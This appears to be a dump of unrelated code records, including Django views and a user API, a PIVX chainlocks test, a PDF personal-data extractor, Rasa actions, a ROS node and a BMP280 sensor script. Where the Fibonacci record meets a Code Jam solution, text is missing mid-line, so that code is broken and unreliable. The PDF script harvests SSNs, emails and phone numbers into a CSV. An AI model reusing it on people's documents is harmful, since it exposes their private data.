trip.accounting['currencies'],\n 'editable': False,\n 'share_url': reverse(\"splitter:public_charge_url\", kwargs={'pk':pk, 'hash_val':hash_val}),\n }\n return render(request, 'splitter/trip_charges.html', context)\n\n messages.error(request, \"Incorrect hash used.\")\n return redirect('splitter:trip_overview', pk = pk)\n\n\n@check_trip_access(True)\ndef itinerary(request, trip, editable):\n # process charges into strings\n context = {\n 'trip': trip,\n 'editable': editable,\n 'share_url': '' if trip.itinerary['is_private'] else request.build_absolute_uri(reverse(\"splitter:public_charge_url\", kwargs={'pk':trip.pk, 'hash_val':trip_hash(trip, 'itinerary')})),\n }\n return render(request, 'splitter/trip_itinerary.html', context)\n\n\ndef published_itinerary(request, pk, hash_val):\n trip = Trip.objects.get(pk = pk)\n\n editors = set([trav.user for trav in trip.travelers.all() if trav.user])\n if request.user and request.user in editors:\n return redirect('splitter:trip_itinerary', pk=pk)\n\n if trip.itinerary['is_private']:\n messages.info(request, \"This trip's itinerary is kept private.\")\n return redirect('splitter:trip_overview', pk=trip.pk)\n\n if hash_val == trip_hash(trip, 'itinerary'):\n # process charges into strings\n context = {\n 'trip': trip,\n 'editable': False,\n 'share_url': reverse(\"splitter:public_charge_url\", kwargs={'pk':pk, 'hash_val':hash_val}),\n }\n return render(request, 'splitter/trip_itinerary.html', context)\n\n messages.error(request, \"Incorrect hash used.\")\n return redirect('splitter:trip_overview', pk = pk)\n\n\n\n@check_trip_access(True)\ndef edit_currencies(request, trip, editable):\n # this allows the user to edit currency exchange rates\n if not trip.accounting['currencies']:\n messages.error(\"This trip's finances have yet to be initialized.\")\n return redirect('splitter:charges', pk=trip.pk)\n\n context = {\n 'trip': trip,\n 'currencies': trip.accounting['currencies'],\n }\n return render(request, 'splitter/edit_currencies.html', context)\n\ndef debug(request):\n posts = [key + \":\" + repr(request.POST.getlist(key)) for key in request.POST]\n gets = [key + \":\" + repr(request.GET.getlist(key)) for key in request.GET]\n context = {\n 'posts': posts,\n 'gets': gets,\n }\n return render(request, \"splitter/test.html\", context)\n","sub_path":"splitter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"241070359","text":"#!/usr/bin/env python3\n# Copyright (c) 2015-2018 The Dash Core developers\n# Copyright (c) 2023 The PIVX Core developers\n# Distributed under the MIT software license, see the accompanying\n# file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\nfrom test_framework.test_framework import PivxDMNTestFramework\nfrom test_framework.util import (\n assert_equal,\n connect_nodes,\n)\nimport time\n\n'''\nCheck quorum based Chainlocks\n'''\n\n\nclass ChainLocksTest(PivxDMNTestFramework):\n\n def set_test_params(self):\n self.set_base_test_params()\n self.extra_args = [[\"-nuparams=v5_shield:1\", \"-nuparams=PIVX_v5.5:130\", \"-nuparams=v6_evo:130\", \"-debug=llmq\", \"-debug=dkg\", \"-debug=net\"]] * self.num_nodes\n self.extra_args[0].append(\"-sporkkey=932HEevBSujW2ud7RfB1YF91AFygbBRQj3de3LyaCRqNzKKgWXi\")\n\n def run_test(self):\n miner = self.nodes[self.minerPos]\n\n # initialize and start masternodes\n self.setup_test()\n assert_equal(len(self.mns), 6)\n\n # Mine a LLMQ final commitment regularly with 3 signers\n self.log.info(\"DKG Session Started\")\n (qfc, badmembers) = self.mine_quorum()\n assert_equal(171, miner.getblockcount())\n\n # mine single block, wait for chainlock\n self.nodes[0].generate(1)\n self.wait_for_chainlock_tip_all_nodes()\n self.log.info(\"Chainlock successfully generated\")\n # mine many blocks, wait for chainlock\n self.nodes[0].generate(20)\n self.wait_for_chainlock_tip_all_nodes()\n self.log.info(\"Chainlocks successfully generated again!\")\n # assert that all blocks up until the tip are chainlocked\n for h in range(1, self.nodes[0].getblockcount()):\n block = self.nodes[0].getblock(self.nodes[0].getblockhash(h))\n assert (block['chainlock'])\n\n # Isolate node, mine on another, and reconnect\n self.nodes[0].setnetworkactive(False)\n node0_tip = self.nodes[0].getbestblockhash()\n self.nodes[1].generate(5)\n self.wait_for_chainlock_tip(self.nodes[1])\n assert (self.nodes[0].getbestblockhash() == node0_tip)\n self.nodes[0].setnetworkactive(True)\n connect_nodes(self.nodes[0], 1)\n self.nodes[1].generate(1)\n self.wait_for_chainlock(self.nodes[0], self.nodes[1].getbestblockhash())\n\n # Isolate node, mine on both parts of the network, and reconnect\n self.nodes[0].setnetworkactive(False)\n self.nodes[0].generate(5)\n self.nodes[1].generate(1)\n good_tip = self.nodes[1].getbestblockhash()\n self.wait_for_chainlock_tip(self.nodes[1])\n assert (not self.nodes[0].getblock(self.nodes[0].getbestblockhash())[\"chainlock\"])\n self.nodes[0].setnetworkactive(True)\n connect_nodes(self.nodes[0], 1)\n self.nodes[1].generate(1)\n self.wait_for_chainlock(self.nodes[0], self.nodes[1].getbestblockhash())\n assert (self.nodes[0].getblock(self.nodes[0].getbestblockhash())[\"previousblockhash\"] == good_tip)\n assert (self.nodes[1].getblock(self.nodes[1].getbestblockhash())[\"previousblockhash\"] == good_tip)\n\n # Keep node connected and let it try to reorg the chain\n good_tip = self.nodes[0].getbestblockhash()\n self.nodes[0].invalidateblock(self.nodes[0].getbestblockhash())\n # Restart it so that it forgets all the chainlocks from the past\n self.stop_node(0)\n self.start_node(0, extra_args=self.extra_args[0])\n connect_nodes(self.nodes[0], 1)\n # Now try to reorg the chain\n self.nodes[0].generate(2)\n time.sleep(2)\n assert (self.nodes[1].getbestblockhash() == good_tip)\n self.nodes[0].generate(2)\n time.sleep(2)\n assert (self.nodes[1].getbestblockhash() == good_tip)\n\n # Now let the node which is on the wrong chain reorg back to the locked chain\n self.nodes[0].reconsiderblock(good_tip)\n assert (self.nodes[0].getbestblockhash() != good_tip)\n self.nodes[1].generate(1)\n self.wait_for_chainlock(self.nodes[0], self.nodes[1].getbestblockhash())\n assert (self.nodes[0].getbestblockhash() == self.nodes[1].getbestblockhash())\n\n def wait_for_chainlock_tip_all_nodes(self):\n for node in self.nodes:\n tip = node.getbestblockhash()\n self.wait_for_chainlock(node, tip)\n\n def wait_for_chainlock_tip(self, node):\n tip = node.getbestblockhash()\n self.wait_for_chainlock(node, tip)\n\n def wait_for_chainlock(self, node, block_hash):\n t = time.time()\n while time.time() - t < 15:\n try:\n block = node.getblock(block_hash)\n if block[\"chainlock\"]:\n return\n except:\n # block might not be on the node yet\n pass\n time.sleep(0.1)\n raise AssertionError(\"wait_for_chainlock timed out\")\n\n\nif __name__ == '__main__':\n ChainLocksTest().main()\n","sub_path":"test/functional/tiertwo_chainlocks.py","file_name":"tiertwo_chainlocks.py","file_ext":"py","file_size_in_byte":4966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"555809092","text":"n=int(input('Enter how many numbers'))\nc=2\nfirst=0\nsecond=1\nprint('0\\n1')\nwhile(c 0:\n now, s, divisors = find(now, N)\n print(s, ' '.join(map(str, divisors)))\n J -= 1\n\n\nif __name__ == '__main__':\n for t in range(int(input())):\n print('Case #{}:'.format(t + 1))\n run()\n\n\n \n","sub_path":"codes/CodeJamCrawler/16_0_3/chaoy/C.py","file_name":"C.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"396320951","text":"#from tika import parser\r\n#import PyPDF2\r\n\r\nfrom pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\r\nfrom pdfminer.pdfpage import PDFPage, PDFTextExtractionNotAllowed\r\nfrom pdfminer.converter import TextConverter, PDFPageAggregator, XMLConverter\r\nfrom pdfminer.layout import LAParams\r\nfrom pdfminer.pdfparser import PDFParser\r\nfrom pdfminer.pdfdocument import PDFDocument\r\nfrom pdfminer.pdfdevice import PDFDevice\r\nimport pdfminer\r\nimport re\r\nimport csv\r\nimport os\r\nimport nltk\r\nfrom nltk.corpus import stopwords\r\nstop = stopwords.words('english')\r\n# from io import StringIO, BytesIO\r\n\r\n# \"\"\"\r\n# Extract PDF text using PDFMiner. Adapted from\r\n# http://stackoverflow.com/questions/5725278/python-help-using-pdfminer-as-a-library\r\n# \"\"\"\r\n#\r\n# def pdf_to_xml(pdfname):\r\n# # PDFMiner boilerplate\r\n# rsrcmgr = PDFResourceManager()\r\n# bio = BytesIO()\r\n# codec = 'utf-8'\r\n# laparams = LAParams()\r\n# device = XMLConverter(rsrcmgr, bio, codec=codec, laparams=laparams)\r\n# interpreter = PDFPageInterpreter(rsrcmgr, device)\r\n# # Extract text\r\n# fp = open(pdfname, 'rb')\r\n# for page in PDFPage.get_pages(fp):\r\n# interpreter.process_page(page)\r\n# fp.close()\r\n# # Get text from StringIO\r\n# text = bio.getvalue()\r\n# # Cleanup\r\n# device.close()\r\n# bio.close()\r\n# return text\r\n#\r\n#\r\n# def extract_text_from_pdf(pdf_path):\r\n# resource_manager = PDFResourceManager()\r\n# fake_file_handle = StringIO()\r\n# converter = TextConverter(resource_manager, fake_file_handle)\r\n# page_interpreter = PDFPageInterpreter(resource_manager, converter)\r\n#\r\n# with open(pdf_path, 'rb') as fh:\r\n# for page in PDFPage.get_pages(fh,\r\n# caching=True,\r\n# check_extractable=True):\r\n# page_interpreter.process_page(page)\r\n#\r\n# text = fake_file_handle.getvalue()\r\n#\r\n# # close open handles\r\n# converter.close()\r\n# fake_file_handle.close()\r\n#\r\n# if text:\r\n# return text\r\n\r\nif __name__ == '__main__':\r\n \"\"\"\r\n Ideas:\r\n -Use distance formula with the given coordinates to help identify important information\r\n -Organize data into 2d array of line, x coord, y coord, number of appearances\r\n -This code is so gross RIP\r\n \"\"\"\r\n\r\n # raw = parser.from_file('USVisaForm.pdf')\r\n #print(raw['content'])\r\n #print('\\n')\r\n with open('pdfData.csv', mode='w') as csv_file:\r\n fieldnames = ['Document', 'Address', 'Name', 'Email', 'Phone #', 'Social Sec', 'Time']\r\n writer = csv.writer(csv_file, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\r\n if os.stat(\"pdfData.csv\").st_size == 0:\r\n writer.writerow(fieldnames)\r\n\r\n def parse_document(pdfname):\r\n # Open a PDF file.writer\r\n fp = open(pdfname, 'rb')\r\n # Create a PDF parser object associated with the file object.\r\n parser = PDFParser(fp)\r\n # Create a PDF document object that stores the document structure.\r\n # Password for initialization as 2nd parameter\r\n document = PDFDocument(parser)\r\n # Check if the document allows text extraction. If not, abort.\r\n if not document.is_extractable:\r\n raise PDFTextExtractionNotAllowed\r\n # Create a PDF resource manager object that stores shared resources.\r\n rsrcmgr = PDFResourceManager()\r\n # Create a PDF device object.\r\n device = PDFDevice(rsrcmgr)\r\n # BEGIN LAYOUT ANALYSIS\r\n # Set parameters for analysis.\r\n laparams = LAParams()\r\n # Create a PDF page aggregator object.\r\n device = PDFPageAggregator(rsrcmgr, laparams=laparams)\r\n # Create a PDF interpreter object.\r\n interpreter = PDFPageInterpreter(rsrcmgr, device)\r\n\r\n def parse_obj(lt_objs):\r\n # loop over the object list\r\n # textList = []\r\n for obj in lt_objs:\r\n # if it's a textbox, print text and location\r\n if isinstance(obj, pdfminer.layout.LTTextLineHorizontal):\r\n # print(\"%6d, %6d, %s\" % (obj.bbox[0], obj.bbox[1], obj.get_text().replace('\\n', ' _')))\r\n important(obj.get_text().replace('\\n', ' _'))\r\n # textItem = {\r\n # 'text': obj.get_text().replace('\\n', '_'),\r\n # 'count': 1\r\n # }\r\n # if (obj.get_text().replace('\\n', '_')) not in textList:\r\n # textList.append(obj.get_text().replace('\\n', '_'))\r\n # else:\r\n # for item in textList:\r\n\r\n # if it's a container, recurse\r\n elif isinstance(obj, pdfminer.layout.LTFigure) or isinstance(obj, pdfminer.layout.LTTextBox):\r\n parse_obj(obj._objs)\r\n\r\n # loop over all pages in the document\r\n for page in PDFPage.create_pages(document):\r\n # read the page into a layout object\r\n interpreter.process_page(page)\r\n layout = device.get_result()\r\n # extract text from this object\r\n parse_obj(layout._objs)\r\n\r\n def extract_phone_numbers(string):\r\n r = re.compile(r'(\\d{3}[-\\.\\s]??\\d{3}[-\\.\\s]??\\d{4}|\\(\\d{3}\\)\\s*\\d{3}[-\\.\\s]??\\d{4}|\\d{3}[-\\.\\s]??\\d{4})')\r\n phone_numbers = r.findall(string)\r\n return [re.sub(r'\\D', '', number) for number in phone_numbers]\r\n\r\n def extract_email_addresses(string):\r\n r = re.compile(r'[\\w\\.-]+@[\\w\\.-]+')\r\n return r.findall(string)\r\n\r\n def ie_preprocess(document):\r\n document = ' '.join([i for i in document.split() if i not in stop])\r\n sentences = nltk.sent_tokenize(document)\r\n sentences = [nltk.word_tokenize(sent) for sent in sentences]\r\n sentences = [nltk.pos_tag(sent) for sent in sentences]\r\n return sentences\r\n\r\n def extract_names(document):\r\n names = []\r\n sentences = ie_preprocess(document)\r\n for tagged_sentence in sentences:\r\n for chunk in nltk.ne_chunk(tagged_sentence):\r\n if type(chunk) == nltk.tree.Tree:\r\n if chunk.label() == 'PERSON':\r\n names.append(' '.join([c[0] for c in chunk]))\r\n return names\r\n\r\n # fieldnames = ['Document', 'Address', 'Name', 'Email', 'Phone #', 'Social Sec', 'Time']\r\n def important(line):\r\n line = str(line.encode('utf-8'))\r\n line = line[2:-2]\r\n timeTags = [\"day\", \" sun\", \" mon\", \" tue\", \" wed\", \" thu\", \" fri\", \" sat\", \"jan\", \"feb\", \"mar\", \"apr\", \"may\", \"jun\", \"jul\", \"aug\", \"sep\", \"oct\", \"nov\", \"dec\"]\r\n for tag in timeTags:\r\n if tag in line.lower() and any(char.isdigit() for char in line):\r\n print(\"Possible Date/Time Info: \" + str(line))\r\n writer.writerow([pdf, '', '', '', '', '', str(line)])\r\n return\r\n if (re.search(\"\\d{3}( |-)*\\d{3}( |-)*\\d{4}\", line)):\r\n print(\"Possible Phone number: \" + str(extract_phone_numbers(line)))\r\n for num in extract_phone_numbers(line):\r\n writer.writerow([pdf, '', '', '', num, '', ''])\r\n if re.search(\"[0-9]{3}( |-)[0-9]{2}( |-)[0-9]{4}\", line):\r\n print(\"Possible Social Sec Info:\" + line)\r\n writer.writerow([pdf, '', '', '', '', str(line), ''])\r\n emailTags = [\".com\", \".edu\", \".org\", \".net\"]\r\n for tag in emailTags:\r\n if tag in line.lower() and '@' in line:\r\n print(\"Possible E-mail Info: \" + str(extract_email_addresses(line)))\r\n for email in extract_email_addresses(line):\r\n writer.writerow([pdf, '', '', email, '', '', ''])\r\n return\r\n nameTags = [\" name\", \" mr\", \" ms\", \" mrs\", \" jr\"]\r\n for tag in nameTags:\r\n if tag in line.lower() and len(str(extract_names(line))) > 2:\r\n print(\"Possible Name Info: \" + str(extract_names(line)))\r\n for name in extract_names(line):\r\n writer.writerow([pdf, '', name, '', '', '', ''])\r\n if len(str(extract_names(line))) > 2:\r\n print(\"Possible name Info: \" + str(extract_names(line)))\r\n for name in extract_names(line):\r\n writer.writerow([pdf, '', name, '', '', '', ''])\r\n addressTags = [\" street \", \" st \", \" road \", \" rd \", \" circle \", \" cl \", \" lane \", \" ln \", \" city \", \" north\", \" east\", \" south\", \" west\", \" land \", \" location \", \" address \"]\r\n for tag in addressTags:\r\n if tag in line.lower():\r\n print(\"Possible Address Info:\" + line)\r\n writer.writerow([pdf, str(line), '', '', '', '', ''])\r\n return\r\n if re.search(\"[a-z]+, [a-z]{2} [0-9]+(-[0-9]+)*\", line.lower()):\r\n print(\"Possible Address Info:\" + line)\r\n writer.writerow([pdf, str(line), '', '', '', '', ''])\r\n return\r\n\r\n pdfList = [\"1040.pdf\", \"20071040A.pdf\", \"ETicketReceipt.pdf\", \"NWCSampleInvoice.pdf\", \"PDFInvoiceSample.pdf\", \"QuotationSample.pdf\", \"TicketSample.pdf\", \"USVisaForm.pdf\", \"WellvibeQuotationForm.pdf\"]\r\n for pdf in pdfList:\r\n print(\"Document: \" + pdf + \"\\n\")\r\n parse_document(pdf)\r\n print(\"\\n\")\r\n\r\n #pdf_to_xml('20071040A.pdf').replace('', '')\r\n\r\n #failed attempts\r\n # pdf_file = open('USVisaForm.pdf', 'rb')\r\n # read_pdf = PyPDF2.PdfFileReader(pdf_file)\r\n # number_of_pages = read_pdf.getNumPages()\r\n # page = read_pdf.getPage(0)\r\n # page_content = page.extractText()\r\n # print(page_content.encode('utf-8'))\r\n # pdf_file2 = open('USVisaForm.pdf', 'rb')\r\n # print(read_pdf.getFields())\r\n # print(read_pdf.getDocumentInfo())\r\n\r\n #print(extract_text_from_pdf('20071040A.pdf'))","sub_path":"kpvExtractor.py","file_name":"kpvExtractor.py","file_ext":"py","file_size_in_byte":10285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"603220799","text":"class Node:\n def __init__(self,data):\n self.data=data\n self.next=None\nclass LinkList:\n def __init__(self):\n self.head=None\n def insert(self,newdata):\n newNode=Node(newdata)\n if self.head is None:\n self.head=newNode\n else:\n lastNode=self.head\n while True:\n if lastNode.next is None:\n break\n else:\n lastNode=lastNode.next\n lastNode.next=newNode\n def printList(self):\n temp=self.head\n while temp is not None:\n print(temp.data)\n temp=temp.next\n def segrigateOddEven(self):\n OddHead=None\n EvenHead=None\n OddLast=None\n EvenLast=None\n curr=self.head\n while curr is not None:\n if curr.data%2==0:\n if EvenHead is None:\n EvenHead=EvenLast=curr\n else:\n EvenLast.next=curr\n EvenLast=curr\n else:\n if OddHead is None:\n OddHead=OddLast=curr\n else:\n OddLast.next=curr\n OddLast=curr\n curr=curr.next\n if EvenHead is not None:\n self.head=EvenHead\n if EvenLast is not None:\n EvenLast.next=OddHead\n if OddLast is not None:\n OddLast.next=None\nllist=LinkList()\nllist.insert(1)\nllist.insert(2)\nllist.insert(4)\nllist.insert(3)\nllist.insert(6)\nllist.insert(8)\nllist.printList()\nllist.segrigateOddEven()\nllist.printList()\n","sub_path":"LinkListSegregateEvenAndOddNumber.py","file_name":"LinkListSegregateEvenAndOddNumber.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"327382427","text":"import logging\nfrom typing import Dict, Text, Any, List\nfrom rasa_sdk import Tracker\nfrom rasa_sdk.executor import CollectingDispatcher, Action\nfrom rasa_sdk.forms import FormValidationAction\nfrom rasa_sdk.events import AllSlotsReset, SlotSet\nimport random\n\nlogger = logging.getLogger(__name__)\nvers = \"vers: 0.1.0, date: Apr 2, 2020\"\nlogger.debug(vers)\n\n\nclass ActionAskName(Action):\n def name(self) -> Text:\n return \"action_ask_name\"\n\n def run(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[Dict]:\n dispatcher.utter_message(response=f\"utter_ask_name\")\n return []\n\n\nclass ActionAskHometown(Action):\n def name(self) -> Text:\n return \"action_ask_hometown\"\n\n def run(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[Dict]:\n dispatcher.utter_message(response=f\"utter_ask_hometown\")\n return []\n\n\nclass ActionAskBirthday(Action):\n def name(self) -> Text:\n return \"action_ask_birthday\"\n\n def run(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[Dict]:\n dispatcher.utter_message(response=f\"utter_ask_birthday\")\n return []\n\n\nclass ActionConfirmName(Action):\n def name(self) -> Text:\n return \"action_confirm_name_slot_filled\"\n\n def run(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[Dict]:\n dispatcher.utter_message(response=f\"utter_confirm_name_slot_filled\")\n return []\n\n\nEXPECTED_NAME: str = \"Alice\"\nEXPECTED_HOMETOWN: str = \"austin\"\n\n\nclass ValidateIDInformation(Action):\n def name(self) -> Text:\n return \"action_validate_id_information\"\n\n def run(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[Dict]:\n name = tracker.get_slot(\"name\")\n hometown = tracker.get_slot(\"hometown\")\n age = tracker.get_slot(\"age\")\n\n if isinstance(name, list):\n name = name[0]\n\n if isinstance(hometown, list):\n hometown = hometown[0]\n\n if isinstance(hometown, list):\n age = age[0]\n\n is_validated = False\n if all([name, hometown, age]):\n if (\n EXPECTED_NAME.lower() in name.lower()\n and EXPECTED_HOMETOWN.lower() in hometown.lower()\n and age == 20\n ):\n is_validated = True\n\n return [\n SlotSet(\"name\", None),\n SlotSet(\"hometown\", None),\n SlotSet(\"age\", None),\n SlotSet(\"is_id_card_given\", is_validated),\n ]\n","sub_path":"actions/student_id_actions.py","file_name":"student_id_actions.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"301545876","text":"# -*- coding: utf-8 -*-\nfrom django.contrib.auth.models import User\nfrom serializers import UserSerializer, UserListSerializer\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom django.shortcuts import get_object_or_404\nfrom permissions import UserPermission\nfrom rest_framework.viewsets import ViewSet\nfrom django.core.mail import send_mail\n\n\nclass UserViewSet(ViewSet):\n\n permission_classes = (UserPermission,)\n\n def list(self, request):\n \"\"\"\n Endpoint de listado de usuarios\n :param request: obj Request\n :return: obj Response\n \"\"\"\n users = User.objects.all()\n serializer = UserListSerializer(users, many=True)\n return Response(serializer.data)\n\n def create(self, request):\n \"\"\"\n Endpoint de creación de un usuario\n :param request: obj Request\n :return: obj Response\n \"\"\"\n serializer = UserSerializer(data=request.DATA)\n if serializer.is_valid():\n user = serializer.save()\n\n subject = u\"Bienvenido!\"\n from_email = u\"hello@frikr.com\"\n to = [user.email]\n html = u\"Bienvenido\" + user.first_name\n send_mail(subject, html, from_email, to)\n\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n else:\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def retrieve(self, request, pk):\n \"\"\"\n Endpoint de detalle de un usuario\n :param request: obj Request\n :param pk: ID del usuario solicitado\n :return: obj Response\n \"\"\"\n # recuperar el usuario de la base de datos\n try:\n user = User.objects.get(pk=pk)\n self.check_object_permissions(request, user) # comprueba si el usuario tiene autorización para ver al usuario solicitado\n serializer = UserSerializer(user)\n return Response(serializer.data)\n except User.DoesNotExist:\n return Response(status=status.HTTP_404_NOT_FOUND)\n except User.MultipleObjectsReturned:\n return Response(status=status.HTTP_300_MULTIPLE_CHOICES)\n\n def update(self, request, pk):\n \"\"\"\n Endpoint de actualización de un usuario\n :param request: obj Request\n :param pk: ID del usuario a actualizar\n :return:obj Response\n \"\"\"\n user = get_object_or_404(User, pk=pk)\n self.check_object_permissions(request, user) # comprueba si el usuario tiene autorización para actualizar al usuario solicitado\n serializer = UserSerializer(user, data=request.DATA)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_202_ACCEPTED)\n else:\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def destroy(self, request, pk):\n \"\"\"\n Endpoint de borrado de un usuario\n :param request: obj Request\n :param pk: ID del usuario a borrar\n :return: obj Response\n \"\"\"\n user = get_object_or_404(User, pk=pk)\n self.check_object_permissions(request, user) # comprueba si el usuario tiene autorización para borrar al usuario solicitado\n user.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"users/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"411800295","text":"from selenium import webdriver\nfrom Wrappers.HandyWrappers import MyHandyWrapper\nimport time\n\n\nclass UsingWrappers:\n\n def test(self):\n # Define base URL and location to Gecko driver\n base_url = \"https://learn.letskodeit.com/p/practice\"\n driver = webdriver.Firefox(\n executable_path=\"C:\\\\Python\\\\Drivers\\\\Gecko\\\\geckodriver-v0.26.0-win32\\\\geckodriver.exe\")\n\n # Maximize screen (or resize)\n driver.maximize_window()\n\n # Open base url\n driver.get(base_url)\n\n # Wait for page to load\n driver.implicitly_wait(10)\n\n # Create an object HandyWrapper\n hw = MyHandyWrapper(driver)\n\n # Call getElement with locator and default ID locator type\n text_field1 = hw.getElement(\"name\")\n text_field1.send_keys(\"This is a test\")\n time.sleep(2)\n\n # Call getElement with locator and CSS locator type\n text_field2 = hw.getElement(\"#name\", \"CSS\")\n text_field2.clear()\n\n\nff = UsingWrappers()\nff.test()\n","sub_path":"Wrappers/UsingWrappers.py","file_name":"UsingWrappers.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"255953710","text":"#!/usr/bin/env python\n\nimport rospy\n\nfrom jsk_arc2017_baxter.msg import GripperSensorStates\nfrom force_proximity_ros.msg import ProximityArray\nfrom force_proximity_ros.msg import Proximity\nfrom std_msgs.msg import UInt16\nfrom std_msgs.msg import Float64\nfrom jsk_topic_tools import ConnectionBasedTransport\n\n\nclass RepublishGripperSensorStates(ConnectionBasedTransport):\n\n def __init__(self):\n super(RepublishGripperSensorStates, self).__init__()\n self.pub_prox = self.advertise(\n '~proximity_array', ProximityArray,\n queue_size=1)\n self.pub_pressure = self.advertise(\n '~pressure/state', Float64,\n queue_size=1)\n self.pub_r_finger_flex = self.advertise(\n '~flex/right/state', UInt16,\n queue_size=1)\n self.pub_l_finger_flex = self.advertise(\n '~flex/left/state', UInt16,\n queue_size=1)\n # low-pass filtered proximity reading\n self.average_value = []\n # FA-II value\n self.fa2 = []\n # Sensitivity of touch/release detection\n self.sensitivity = 1000\n # exponential average weight parameter / cut-off frequency for high-pass filter\n self.ea = 0.3\n\n def subscribe(self):\n self.sub = rospy.Subscriber('~input', GripperSensorStates,\n self._cb)\n\n def unsubscribe(self):\n self.sub.unregister()\n\n def _cb(self, gripper_sensor_states):\n proximity_array = ProximityArray()\n proximity_array.header.stamp = rospy.Time.now()\n for i, raw in enumerate(gripper_sensor_states.proximities):\n proximity = Proximity()\n try:\n self.average_value[i]\n except IndexError:\n self.average_value.append(raw)\n try:\n self.fa2[i]\n except IndexError:\n self.fa2.append(0)\n proximity.proximity = raw\n proximity.average = self.average_value[i]\n proximity.fa2derivative = self.average_value[i] - raw - self.fa2[i]\n self.fa2[i] = self.average_value[i] - raw\n proximity.fa2 = self.fa2[i]\n if self.fa2[i] < -self.sensitivity:\n proximity.mode = \"T\"\n elif self.fa2[i] > self.sensitivity:\n proximity.mode = \"R\"\n else:\n proximity.mode = \"0\"\n\n self.average_value[i] = self.ea * raw + (1 - self.ea) * self.average_value[i]\n proximity_array.proximities.append(proximity)\n\n pressure = Float64()\n pressure = gripper_sensor_states.pressure\n\n r_finger_flex = UInt16()\n r_finger_flex = gripper_sensor_states.r_finger_flex\n\n l_finger_flex = UInt16()\n l_finger_flex = gripper_sensor_states.l_finger_flex\n\n self.pub_prox.publish(proximity_array)\n self.pub_pressure.publish(pressure)\n self.pub_r_finger_flex.publish(r_finger_flex)\n self.pub_l_finger_flex.publish(l_finger_flex)\n\n\nif __name__ == '__main__':\n rospy.init_node('republish_gripper_sensor_states')\n app = RepublishGripperSensorStates()\n rospy.spin()\n","sub_path":"jsk_arc2017_baxter/node_scripts/republish_gripper_sensor_states.py","file_name":"republish_gripper_sensor_states.py","file_ext":"py","file_size_in_byte":3163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"219849816","text":"#coding: utf-8\n#--------------------------------------\n#\n# bmp280.py\n# Read data from a digital pressure sensor.\n#\n# Author : Jon Doe\n# Date : 01/01/1901\n#\n# Rewritten to match output from Matt Hawkins' bmp180.py\n#\n# Author : Pengatom\n# Date\t : April 8th 2016\n#\n# http://blog.pengatom.com/\n#\n#--------------------------------------\nimport Adafruit_GPIO.I2C as I2C\nimport time\ni2c = I2C\nDEVICE=i2c.get_i2c_device(0x77) # address of BMP\n\ndig_T1 = 0.0\ndig_T2 = 0.0\ndig_T3 = 0.0\ndig_P1 = 0.0\ndig_P2 = 0.0\ndig_P3 = 0.0\ndig_P4 = 0.0\ndig_P5 = 0.0\ndig_P6 = 0.0\ndig_P7 = 0.0\ndig_P8 = 0.0\ndig_P9 = 0.0\n\n# this value is necessary to calculate the correct height above sealevel\n# its also included in airport wheather information ATIS named as QNH\n# unit is hPa\nQNH=1020\n#print(\"QNH:{:.0f}\".format(QNH)+\" hPA\")\n\n# power mode\n# POWER_MODE=0 # sleep mode\n# POWER_MODE=1 # forced mode\n# POWER_MODE=2 # forced mode\nPOWER_MODE=3 # normal mode\n\n# temperature resolution\n# OSRS_T = 0 # skipped\n# OSRS_T = 1 # 16 Bit\n# OSRS_T = 2 # 17 Bit\n# OSRS_T = 3 # 18 Bit\n# OSRS_T = 4 # 19 Bit\nOSRS_T = 5 # 20 Bit\n\n# pressure resolution\n# OSRS_P = 0 # pressure measurement skipped\n# OSRS_P = 1 # 16 Bit ultra low power\n# OSRS_P = 2 # 17 Bit low power\n# OSRS_P = 3 # 18 Bit standard resolution\n# OSRS_P = 4 # 19 Bit high resolution\nOSRS_P = 5 # 20 Bit ultra high resolution\n\n# filter settings\n# FILTER = 0 #\n# FILTER = 1 #\n# FILTER = 2 #\n# FILTER = 3 #\nFILTER = 4 #\n# FILTER = 5 #\n# FILTER = 6 #\n# FILTER = 7 #\n\n# standby settings\n# T_SB = 0 # 000 0,5ms\n# T_SB = 1 # 001 62.5 ms\n# T_SB = 2 # 010 125 ms\n# T_SB = 3 # 011 250ms\nT_SB = 4 # 100 500ms\n# T_SB = 5 # 101 1000ms\n# T_SB = 6 # 110 2000ms\n# T_SB = 7 # 